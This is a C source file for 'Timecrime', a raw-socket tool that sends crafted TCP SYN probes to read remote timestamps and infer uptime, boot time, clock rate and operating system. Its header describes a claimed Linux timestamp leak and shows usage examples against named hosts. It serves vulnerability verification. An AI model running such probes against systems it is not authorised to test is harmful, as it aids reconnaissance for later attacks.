/* Timecrime - TCP Timestamp Information Disclosure Exploit * ======================================================== * An exploit to recover remote system information through RFC1323/RFC7323 * timestamp extensions vulnerability. Uses IPv4 TCP timestamp options to * enumerate remote system time, uptime and calculate clock-related information * that attackers may leverage in additional attacks. IPv4 implementation only. * * This tool identifies systems actually vulnerable instead of false positive * results often seen in Nessus NASL output. This issue is frequently flagged * as informational or low-risk in automated scanner output and is often ignored, * and incorrectly reported as vulnerable without proper verification. In some * systems, hosts can leak information of value to attackers. * * Hosts with *true* per-packet randomized timestamps are protected. Linux * with net.ipv4.tcp_timestamps=1 is *not* — it applies a random offset per * connection, but the counter remains strictly monotonic at ~1000 Hz. * * The tool sends TCP SYN packets with timestamp options to target hosts and * analyzes the returned timestamp values to determine: * - Remote system clock rate (ticks per second) * - System uptime calculation * - Current remote system time * - Detection of timestamp randomization/load balancing * - OS fingerprinting via clock rate and increment patterns * * Prerequisites: * You likely need to configure iptables to prevent kernel RST packets: * iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP * * Compilation: * gcc timecrime.c -o timecrime -lm * * Usage Examples: * sudo ./timecrime scanme.nmap.org 80 * sudo ./timecrime 192.168.1.1 443 10 * sudo ./timecrime example.com 22 -o logfile.txt * sudo DEBUG=1 ./timecrime target.com 80 5 -o debug.log * * Environment Variables: * DEBUG=1 Enable packet-level hex dump tracing * * LINUX TIMECRIME KERNEL VULNERABILITY (net.ipv4.tcp_timestamps=1) * ================================================================ * Linux sysctl values: * 0 = disabled (secure, no leak) * 1 = "randomized" (default) BROKEN * 2 = monotonic (insecure) * * Contrary to documentation and RFC 7323 §3.2, mode 1 does *not* prevent * uptime disclosure. A random offset is added per connection, but: * * The base counter is jiffies-based and monotonic * * Increment = ~1000 ticks/sec (HZ) * * Uptime = (last_TSval - first_TSval) / 1000 = accurate * * Tested on kernel 6.12.48 (Debian 13, DigitalOcean, 2025-11-07): * Even with =1, PoC reports uptime and 1000 Hz clock. The uptime * is not precise, however it is consistent and mono observable, * allowing to determine when the system reboots e.g. kernel patches * or panic. * * Impact: * * Remote, unauthenticated uptime/boot-time disclosure * * OS fingerprinting (1000 Hz → modern Linux) * * Patch cycle tracking, DoS validation, VM reuse detection * * CVSS: 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) * * Reported to security@kernel.org 07/11/2025. Only fix: set =0. * * Author: hackerfantastic * Website: https://hacker.house/ * * This software is provided "as is" without warranty of any kind. * Use responsibly and only against systems you own or have permission to test. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include struct pseudo_header { uint32_t source_address; uint32_t dest_address; uint8_t placeholder; uint8_t protocol; uint16_t tcp_length; }; unsigned short csum(unsigned short *ptr, int nbytes); char *hostname_to_ip(char *hostname); int get_local_ip(char *buffer); uint32_t get_tsval(unsigned char *options, int optlen); void hex_dump(const unsigned char *data, size_t size); void print_tcp_flags(const struct tcphdr *tcph); double median(double *arr, int n); void log_output(FILE *logfile, const char *format, ...); // Global logfile pointer FILE *g_logfile = NULL; /* * OS Fingerprinting via TCP Timestamp Clock Rate * ============================================== * The following table lists known TCP timestamp clock rates (Hz) and typical * increment patterns observed across operating systems. These are used to * fingerprint the remote OS when timestamps are monotonic and not randomized. * * +---------------------+--------------------+------------------------------+-----------------------------------+ * | OS | Clock Rate (Hz) | Increment per Second | Notes / Probability Breakdown | * +---------------------+--------------------+------------------------------+-----------------------------------+ * | Linux (modern, 2.6+)| 1000 | ~1000 | Default for HZ=1000; monotonic if | * | | | | tcp_timestamps=2. Linux 90%, | * | | | | FreeBSD/Solaris 10% | * +---------------------+--------------------+------------------------------+-----------------------------------+ * | Linux (old, 2.4-) | 100 | ~100 | Older kernels with HZ=100. | * | | | | Linux 70%, Windows/Solaris 30% | * +---------------------+--------------------+------------------------------+-----------------------------------+ * | Windows (older: | 10 | ~10 | Low-frequency clock. | * | NT/2000/XP) | | | Microsoft 80%, Cisco 20% | * +---------------------+--------------------+------------------------------+-----------------------------------+ * | Windows (modern: | 100-125 | ~100-125 | Variable, typically 100 Hz. | * | Vista/7/10/11) | | | Microsoft 90%, overlap 10% | * +---------------------+--------------------+------------------------------+-----------------------------------+ * | FreeBSD | 1000 | ~1000 | Similar to modern Linux. | * | | | | FreeBSD 50%, Linux 50% | * +---------------------+--------------------+------------------------------+-----------------------------------+ * | Solaris | 100 or 1000 | ~100 or ~1000 | Version-dependent. | * | | | | Solaris 70%, others 30% | * +---------------------+--------------------+------------------------------+-----------------------------------+ * | macOS (Darwin) | 1000 | ~1000 | BSD-based. macOS 60%, others 40% | * +---------------------+--------------------+------------------------------+-----------------------------------+ * | Cisco IOS | 500-2000 | ~500-2000 | Varies by model. Cisco 70% | * +---------------------+--------------------+------------------------------+-----------------------------------+ * | OpenBSD/NetBSD | Randomized or N/A | Variable/Non-monotonic | 100% OpenBSD if non-monotonic | * +---------------------+--------------------+------------------------------+-----------------------------------+ * | HP-UX/IRIX | 2-10 | ~2-10 | Rare legacy. HP-UX 50% | * +---------------------+--------------------+------------------------------+-----------------------------------+ * | AIX | 100-1000 | ~100-1000 | Tunable. AIX 50%, others 50% | * +---------------------+--------------------+------------------------------+-----------------------------------+ */ const char* guess_os(double rate, double med_increment, double stddev, double* confidence) { *confidence = (stddev / med_increment < 0.01) ? 100.0 : 50.0; if (fabs(rate - 1000) < 10) { return "Modern Linux (90%), FreeBSD/Solaris/macOS (10%)"; } else if (fabs(rate - 100) < 10) { return "Modern Windows/old Linux/Solaris (33% each)"; } else if (fabs(rate - 10) < 5) { return "Older Microsoft Windows (80%), Cisco/some routers (20%)"; } else if (fabs(rate - 500) < 50 || fabs(rate - 2000) < 100) { return "Cisco IOS/router (70%), other (30%)"; } else if (fabs(rate - 2) < 1) { return "Older BSD/HP-UX (50%), other low-rate OS (50%)"; } else { *confidence = 0.0; return "Unknown OS"; } } int main(int argc, char *argv[]) { if (argc < 3) { printf("Usage: %s [num_probes] [-o logfile]\n", argv[0]); exit(1); } char *target = argv[1]; int port = atoi(argv[2]); int num_probes = 20; char *logfile_path = NULL; for (int i = 3; i < argc; i++) { if (strcmp(argv[i], "-o") == 0 && i + 1 < argc) { logfile_path = argv[i + 1]; i++; } else if (isdigit(argv[i][0])) { num_probes = atoi(argv[i]); } } if (num_probes < 5) num_probes = 5; if (logfile_path != NULL) { g_logfile = fopen(logfile_path, "w"); if (g_logfile == NULL) { printf("Failed to open logfile: %s\n", logfile_path); exit(1); } printf("Logging to: %s\n", logfile_path); } int debug = (getenv("DEBUG") != NULL && strcmp(getenv("DEBUG"), "1") == 0); struct in_addr dest_ip_addr; if (inet_addr(target) != INADDR_NONE) { dest_ip_addr.s_addr = inet_addr(target); } else { char *ip = hostname_to_ip(target); if (ip == NULL) { printf("Unable to resolve %s\n", target); exit(1); } dest_ip_addr.s_addr = inet_addr(ip); } char dest_ip_str[INET_ADDRSTRLEN]; inet_ntop(AF_INET, &dest_ip_addr, dest_ip_str, INET_ADDRSTRLEN); char source_ip[INET_ADDRSTRLEN]; if (get_local_ip(source_ip) < 0) { printf("Failed to get local IP\n"); exit(1); } if (debug) { log_output(g_logfile, "Local IP: %s, Target IP: %s, Port: %d, Probes: %d\n", source_ip, dest_ip_str, port, num_probes); printf("Local IP: %s, Target IP: %s, Port: %d, Probes: %d\n", source_ip, dest_ip_str, port, num_probes); } else { log_output(g_logfile, "Analyzing %s:%d with %d probes...\n", target, port, num_probes); printf("Analyzing %s:%d with %d probes...\n", target, port, num_probes); } int send_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (send_sock < 0) { perror("Send socket creation failed"); exit(1); } int recv_sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); if (recv_sock < 0) { perror("Recv socket creation failed"); exit(1); } int one = 1; if (setsockopt(send_sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) { perror("setsockopt IP_HDRINCL failed"); exit(1); } struct sockaddr_in bind_addr; memset(&bind_addr, 0, sizeof(bind_addr)); bind_addr.sin_family = AF_INET; bind_addr.sin_addr.s_addr = inet_addr(source_ip); if (bind(send_sock, (struct sockaddr *)&bind_addr, sizeof(bind_addr)) < 0) { perror("Send bind failed"); exit(1); } log_output(g_logfile, "Send socket bound to local IP\n"); printf("Send socket bound to local IP\n"); if (bind(recv_sock, (struct sockaddr *)&bind_addr, sizeof(bind_addr)) < 0) { perror("Recv bind failed"); exit(1); } log_output(g_logfile, "Recv socket bound to local IP\n"); printf("Recv socket bound to local IP\n"); char datagram[4096]; struct iphdr *iph = (struct iphdr *)datagram; struct tcphdr *tcph = (struct tcphdr *)(datagram + sizeof(struct iphdr)); char *options = (char *)(datagram + sizeof(struct iphdr) + sizeof(struct tcphdr)); struct sockaddr_in dest; memset(&dest, 0, sizeof(dest)); dest.sin_family = AF_INET; dest.sin_addr.s_addr = dest_ip_addr.s_addr; iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->id = htons(54321); iph->frag_off = 0; iph->ttl = 64; iph->protocol = IPPROTO_TCP; iph->saddr = inet_addr(source_ip); iph->daddr = dest_ip_addr.s_addr; tcph->dest = htons(port); tcph->seq = htonl(1105024978); tcph->ack_seq = 0; tcph->doff = 0; tcph->fin = 0; tcph->syn = 1; tcph->rst = 0; tcph->psh = 0; tcph->ack = 0; tcph->urg = 0; tcph->window = htons(14600); tcph->urg_ptr = 0; int optlen = 12; options[0] = 1; options[1] = 1; options[2] = 8; options[3] = 10; int tcp_size = sizeof(struct tcphdr) + optlen; tcph->doff = tcp_size / 4; iph->tot_len = sizeof(struct iphdr) + tcp_size; uint32_t *tsvals = malloc(num_probes * sizeof(uint32_t)); double *local_times = malloc(num_probes * sizeof(double)); struct timeval start_tv; gettimeofday(&start_tv, NULL); int valid_probes = 0; int total_responses = 0; for (int probe = 0; probe < num_probes; probe++) { int source_port = 40000 + probe * 100 + (rand() % 100); tcph->source = htons(source_port); tcph->seq = htonl(1105024978 + probe * 1000); struct timeval tv; gettimeofday(&tv, NULL); uint32_t our_tsval = (uint32_t)((tv.tv_sec * 1000LL + tv.tv_usec / 1000) % 0xFFFFFFFF); *((uint32_t*)(options + 4)) = htonl(our_tsval); *((uint32_t*)(options + 8)) = htonl(0); iph->check = 0; tcph->check = 0; iph->check = csum((unsigned short *)datagram, iph->tot_len); struct pseudo_header psh; psh.source_address = iph->saddr; psh.dest_address = iph->daddr; psh.placeholder = 0; psh.protocol = IPPROTO_TCP; psh.tcp_length = htons(tcp_size); int psize = sizeof(struct pseudo_header) + tcp_size; char *pseudogram = malloc(psize); memcpy(pseudogram, &psh, sizeof(struct pseudo_header)); memcpy(pseudogram + sizeof(struct pseudo_header), tcph, tcp_size); tcph->check = csum((unsigned short *)pseudogram, psize); free(pseudogram); if (debug) { print_tcp_flags(tcph); log_output(g_logfile, "Sent packet hex dump:\n"); printf("Sent packet hex dump:\n"); hex_dump((unsigned char *)datagram, iph->tot_len); log_output(g_logfile, "Sending probe %d to %s:%d from port %d\n", probe + 1, dest_ip_str, port, source_port); printf("Sending probe %d to %s:%d from port %d\n", probe + 1, dest_ip_str, port, source_port); } int sent = sendto(send_sock, datagram, iph->tot_len, 0, (struct sockaddr *)&dest, sizeof(dest)); if (sent < 0) { perror("sendto failed"); exit(1); } if (debug) { log_output(g_logfile, "Sent %d bytes\n", sent); printf("Sent %d bytes\n", sent); } int received = 0; int attempts = 0; char recv_buf[4096]; struct timeval recv_tv; while (!received && attempts < 300) { int data_size = recv(recv_sock, recv_buf, sizeof(recv_buf), 0); if (data_size > 0) { if (debug) { log_output(g_logfile, "Received packet (%d bytes) hex dump:\n", data_size); printf("Received packet (%d bytes) hex dump:\n", data_size); hex_dump((unsigned char *)recv_buf, data_size); } struct iphdr *recv_iph = (struct iphdr *)recv_buf; if (recv_iph->protocol == IPPROTO_TCP && recv_iph->saddr == dest_ip_addr.s_addr && recv_iph->daddr == inet_addr(source_ip)) { int iphlen = recv_iph->ihl * 4; if (iphlen + sizeof(struct tcphdr) > data_size) continue; struct tcphdr *recv_tcph = (struct tcphdr *)(recv_buf + iphlen); if (ntohs(recv_tcph->dest) == source_port && recv_tcph->syn && recv_tcph->ack) { total_responses++; int recv_optlen = (recv_tcph->doff * 4) - sizeof(struct tcphdr); if (iphlen + sizeof(struct tcphdr) + recv_optlen > data_size) continue; unsigned char *recv_opts = (unsigned char *)(recv_tcph + 1); uint32_t tsval = get_tsval(recv_opts, recv_optlen); if (tsval != 0) { gettimeofday(&recv_tv, NULL); tsvals[valid_probes] = tsval; local_times[valid_probes] = (recv_tv.tv_sec - start_tv.tv_sec) + (recv_tv.tv_usec - start_tv.tv_usec) / 1000000.0; received = 1; valid_probes++; if (!debug) { char probe_info[512]; snprintf(probe_info, sizeof(probe_info), "Probe %d: TCP [SYN+ACK] seq=%u ack=%u TSval=%u", probe + 1, ntohl(recv_tcph->seq), ntohl(recv_tcph->ack_seq), tsval); uint32_t tsecr = 0; int opt_pos = 0; while (opt_pos < recv_optlen) { uint8_t opt_kind = recv_opts[opt_pos]; if (opt_kind == 0) break; if (opt_kind == 1) { opt_pos++; continue; } if (opt_pos + 1 >= recv_optlen) break; uint8_t opt_len = recv_opts[opt_pos + 1]; if (opt_len < 2 || opt_pos + opt_len > recv_optlen) break; if (opt_kind == 8 && opt_len == 10) { tsecr = ntohl(*((uint32_t *)(recv_opts + opt_pos + 6))); break; } opt_pos += opt_len; } if (tsecr != 0) { char tsecr_str[32]; snprintf(tsecr_str, sizeof(tsecr_str), " TSecr=%u", tsecr); strcat(probe_info, tsecr_str); } strcat(probe_info, "\n"); log_output(g_logfile, "%s", probe_info); printf("%s", probe_info); } else { char debug_info[256]; snprintf(debug_info, sizeof(debug_info), "Received TSval: %u at local time offset: %.3f s\n", tsval, local_times[valid_probes-1]); log_output(g_logfile, "%s", debug_info); printf("%s", debug_info); } } else { received = 1; if (debug) { log_output(g_logfile, "Received SYN+ACK without timestamp option\n"); printf("Received SYN+ACK without timestamp option\n"); } } } } } attempts++; usleep(10000); } if (!received && debug) { log_output(g_logfile, "No valid response for probe %d\n", probe + 1); printf("No valid response for probe %d\n", probe + 1); } if (probe >= 1 && total_responses == 0) { log_output(g_logfile, "Host does not respond to TCP SYN packets on port %d after %d probes. Port may be closed or filtered.\n", port, probe + 1); printf("Host does not respond to TCP SYN packets on port %d after %d probes. Port may be closed or filtered.\n", port, probe + 1); goto cleanup; } if (probe >= 2 && total_responses >= 2 && valid_probes == 0) { log_output(g_logfile, "Host responds to TCP SYN but does not support RFC1323/RFC7323 timestamp extensions. Cannot analyze uptime.\n"); printf("Host responds to TCP SYN but does not support RFC1323/RFC7323 timestamp extensions. Cannot analyze uptime.\n"); goto cleanup; } if (probe < num_probes - 1) sleep(1); } if (valid_probes < 3) { log_output(g_logfile, "Insufficient valid probes to estimate.\n"); printf("Insufficient valid probes to estimate.\n"); goto cleanup; } int monotonic = 1; for (int i = 1; i < valid_probes; i++) { if (tsvals[i] <= tsvals[i-1]) { monotonic = 0; break; } } if (!monotonic) { log_output(g_logfile, "TSvals not monotonically increasing; likely randomized or load-balanced host. Cannot compute uptime or fingerprint OS.\n"); printf("TSvals not monotonically increasing; likely randomized or load-balanced host. Cannot compute uptime or fingerprint OS.\n"); goto cleanup; } double *rates = malloc((valid_probes - 1) * sizeof(double)); int num_rates = 0; for (int i = 1; i < valid_probes; i++) { double delta_t = local_times[i] - local_times[i-1]; if (delta_t > 0.1) { double delta_ts = (double)(tsvals[i] - tsvals[i-1]); rates[num_rates++] = delta_ts / delta_t; } } if (num_rates < 2) { log_output(g_logfile, "Insufficient consistent deltas to estimate rate.\n"); printf("Insufficient consistent deltas to estimate rate.\n"); free(rates); goto cleanup; } double med_rate = median(rates, num_rates); log_output(g_logfile, "Median estimated clock rate: %.2f ticks/sec\n", med_rate); printf("Median estimated clock rate: %.2f ticks/sec\n", med_rate); if (med_rate > 1000000.0 || med_rate < 1.0) { log_output(g_logfile, "Unreasonable clock rate; likely randomized TSval. No uptime leak.\n"); printf("Unreasonable clock rate; likely randomized TSval. No uptime leak.\n"); free(rates); goto cleanup; } // Compute standard deviation for confidence double mean_rate = 0.0; for (int i = 0; i < num_rates; i++) mean_rate += rates[i]; mean_rate /= num_rates; double variance = 0.0; for (int i = 0; i < num_rates; i++) variance += pow(rates[i] - mean_rate, 2); variance /= num_rates; double stddev = sqrt(variance); double med_increment = med_rate; // Snap to common rates double common_rates[] = {1, 2, 10, 100, 125, 250, 300, 500, 1000, 2500, 10000, 100000}; int num_common = sizeof(common_rates) / sizeof(double); double best_rate = med_rate; double min_diff = INFINITY; for (int i = 0; i < num_common; i++) { double rel_diff = fabs(med_rate - common_rates[i]) / common_rates[i]; if (rel_diff < 0.2 && rel_diff < min_diff) { best_rate = common_rates[i]; min_diff = rel_diff; } } if (min_diff < INFINITY) { log_output(g_logfile, "Snapped to common rate: %.0f ticks/sec\n", best_rate); printf("Snapped to common rate: %.0f ticks/sec\n", best_rate); } else { log_output(g_logfile, "Using median rate: %.0f ticks/sec\n", best_rate); printf("Using median rate: %.0f ticks/sec\n", best_rate); } // OS Fingerprinting double confidence; const char* os_str = guess_os(best_rate, med_increment, stddev, &confidence); log_output(g_logfile, "Median increment per sec: %.0f\n", med_increment); printf("Median increment per sec: %.0f\n", med_increment); log_output(g_logfile, "Rate stddev: %.2f (confidence: %.0f%%)\n", stddev, confidence); printf("Rate stddev: %.2f (confidence: %.0f%%)\n", stddev, confidence); log_output(g_logfile, "Possible OS fingerprint: %s\n", os_str); printf("Possible OS fingerprint: %s\n", os_str); // Uptime calculation double uptime_sec = (double)tsvals[valid_probes - 1] / best_rate; time_t now = time(NULL); time_t estimated_boot_time = now - (time_t)uptime_sec; long days = (long)uptime_sec / 86400; double rem_sec = fmod(uptime_sec, 86400.0); long hours = (long)rem_sec / 3600; rem_sec = fmod(rem_sec, 3600.0); long mins = (long)rem_sec / 60; long secs = (long)rem_sec % 60; struct tm *boot_tm = localtime(&estimated_boot_time); char boot_str[64]; strftime(boot_str, sizeof(boot_str), "%Y-%m-%d %H:%M:%S", boot_tm); log_output(g_logfile, "Estimated boot time: %s\n", boot_str); printf("Estimated boot time: %s\n", boot_str); if (days > 0) { log_output(g_logfile, "Uptime: %ld days, %02ld:%02ld:%02ld\n", days, hours, mins, secs); printf("Uptime: %ld days, %02ld:%02ld:%02ld\n", days, hours, mins, secs); } else { log_output(g_logfile, "Uptime: %02ld:%02ld:%02ld\n", hours, mins, secs); printf("Uptime: %02ld:%02ld:%02ld\n", hours, mins, secs); } free(rates); cleanup: free(tsvals); free(local_times); close(send_sock); close(recv_sock); if (g_logfile != NULL) fclose(g_logfile); return 0; } unsigned short csum(unsigned short *ptr, int nbytes) { register long sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } if (nbytes == 1) sum += htons(*(u_char *)ptr); sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)~sum; } char *hostname_to_ip(char *hostname) { struct hostent *he = gethostbyname(hostname); if (he == NULL) return NULL; struct in_addr **addr_list = (struct in_addr **)he->h_addr_list; return inet_ntoa(*addr_list[0]); } int get_local_ip(char *buffer) { int sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) return -1; const char *kGoogleDnsIp = "8.8.8.8"; uint16_t dns_port = 53; struct sockaddr_in serv; memset(&serv, 0, sizeof(serv)); serv.sin_family = AF_INET; serv.sin_addr.s_addr = inet_addr(kGoogleDnsIp); serv.sin_port = htons(dns_port); int err = connect(sock, (const struct sockaddr *)&serv, sizeof(serv)); if (err < 0) { close(sock); return -1; } struct sockaddr_in name; socklen_t namelen = sizeof(name); err = getsockname(sock, (struct sockaddr *)&name, &namelen); if (err < 0) { close(sock); return -1; } inet_ntop(AF_INET, &name.sin_addr, buffer, INET_ADDRSTRLEN); close(sock); return 0; } uint32_t get_tsval(unsigned char *options, int optlen) { int pos = 0; while (pos < optlen) { uint8_t kind = options[pos]; if (kind == 0) break; if (kind == 1) { pos++; continue; } if (pos + 1 >= optlen) break; uint8_t len = options[pos + 1]; if (len < 2 || pos + len > optlen) break; if (kind == 8 && len == 10) { uint32_t tsval = ntohl(*((uint32_t *)(options + pos + 2))); uint32_t tsecr = ntohl(*((uint32_t *)(options + pos + 6))); int debug = (getenv("DEBUG") != NULL && strcmp(getenv("DEBUG"), "1") == 0); if (debug) { char ts_info[256]; snprintf(ts_info, sizeof(ts_info), "Parsed timestamp option: TSval=%u TSecr=%u (option kind=%d len=%d)\n", tsval, tsecr, kind, len); log_output(g_logfile, "%s", ts_info); printf("%s", ts_info); printf("Raw timestamp option bytes: "); for (int i = 0; i < 10; i++) printf("%02x ", options[pos + i]); printf("\n"); } return tsval; } pos += len; } int debug = (getenv("DEBUG") != NULL && strcmp(getenv("DEBUG"), "1") == 0); if (debug) { printf("No timestamp option found in %d bytes of options:\n", optlen); for (int i = 0; i < optlen; i++) printf("%02x ", options[i]); printf("\n"); } return 0; } void log_output(FILE *logfile, const char *format, ...) { if (logfile != NULL) { va_list args; va_start(args, format); vfprintf(logfile, format, args); fflush(logfile); va_end(args); } } void hex_dump(const unsigned char *data, size_t size) { for (size_t i = 0; i < size; i += 16) { char line[256]; int offset = snprintf(line, sizeof(line), "%04zx ", i); for (size_t j = 0; j < 16; j++) { if (i + j < size) offset += snprintf(line + offset, sizeof(line) - offset, "%02x ", data[i + j]); else offset += snprintf(line + offset, sizeof(line) - offset, " "); if (j == 7) offset += snprintf(line + offset, sizeof(line) - offset, " "); } offset += snprintf(line + offset, sizeof(line) - offset, " |"); for (size_t j = 0; j < 16; j++) { if (i + j < size) { unsigned char c = data[i + j]; offset += snprintf(line + offset, sizeof(line) - offset, "%c", (c >= 32 && c <= 126) ? c : '.'); } else offset += snprintf(line + offset, sizeof(line) - offset, " "); } snprintf(line + offset, sizeof(line) - offset, "|\n"); int debug = (getenv("DEBUG") != NULL && strcmp(getenv("DEBUG"), "1") == 0); if (debug) { log_output(g_logfile, "%s", line); printf("%s", line); } else printf("%s", line); } int debug = (getenv("DEBUG") != NULL && strcmp(getenv("DEBUG"), "1") == 0); if (debug) { log_output(g_logfile, "\n"); printf("\n"); } else printf("\n"); } void print_tcp_flags(const struct tcphdr *tcph) { unsigned char flags = *(unsigned char *)((unsigned char *)tcph + 13); char flag_info[256]; snprintf(flag_info, sizeof(flag_info), "TCP flags byte: 0x%02x, Binary: ", flags); int offset = strlen(flag_info); for (int i = 7; i >= 0; i--) offset += snprintf(flag_info + offset, sizeof(flag_info) - offset, "%d", (flags >> i) & 1); snprintf(flag_info + offset, sizeof(flag_info) - offset, " (URG=%d ACK=%d PSH=%d RST=%d SYN=%d FIN=%d)\n", tcph->urg, tcph->ack, tcph->psh, tcph->rst, tcph->syn, tcph->fin); log_output(g_logfile, "%s", flag_info); printf("%s", flag_info); } double median(double *arr, int n) { for (int i = 0; i < n-1; i++) { for (int j = i+1; j < n; j++) { if (arr[i] > arr[j]) { double tmp = arr[i]; arr[i] = arr[j]; arr[j] = tmp; } } } if (n % 2 == 0) return (arr[n/2 - 1] + arr[n/2]) / 2.0; else return arr[n/2]; }